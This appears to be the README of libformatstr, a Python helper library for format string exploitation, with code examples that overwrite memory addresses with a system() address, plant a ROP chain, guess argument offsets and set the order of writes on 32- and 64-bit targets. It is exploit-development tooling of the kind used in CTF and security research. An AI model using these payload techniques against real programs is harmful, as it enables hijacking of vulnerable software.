Small script to simplify format string exploitation.
- Case 1 - replace one dword:
import sys
from libformatstr import FormatStr
addr = 0x08049580
system_addr = 0x080489a3
p = FormatStr()
p[addr] = system_addr
# buf is 14th argument, 4 bytes are already printed
sys.stdout.write( p.payload(14, start_len=4) )- Case 2 - put ROP code somewhere:
import sys
from libformatstr import FormatStr
addr = 0x08049580
rop = [0x080487af, 0x0804873c, 0x080488de]
p = FormatStr()
p[addr] = rop
sys.stdout.write( p.payload(14) )- Case 3 - guess argument number and padding:
import sys
from libformatstr import FormatStr
# let's say we have do_fmt function,
# which gives us only output of format string
# (you can also just copy fmtstr and output manually)
buf_size = 250 # fix buf_size to avoid offset variation
res = do_fmt(make_pattern(buf_size))
argnum, padding = guess_argnum(res, buf_size)
# of course you can use it in payload generation
p = FormatStr(buf_size)
p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\xfe" # yes, you can also put strings
sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already- Case 4 - write something in specificed order:
from libformatstr import FormatStr
f=FormatStr(autosort=False) #This option disables auto sorting
f[0x1234]=0x1
f[0x5678]=0x2
f[0xabcd]=0x3
#The payload will write address 0x1234 first,then 0x5678,then 0xabcd.- Case 5 - while you are in amd64:
from libformatstr import FormatStr
f=FormatStr(isx64=1) #This option force script to use 64bit address while generating payload
f[0x1234]=0x1
f[0x5678]=0x2
f[0xabcd]=0x3Author: hellman ( hellman1908@gmail.com )
License: MIT License ( http://opensource.org/licenses/MIT )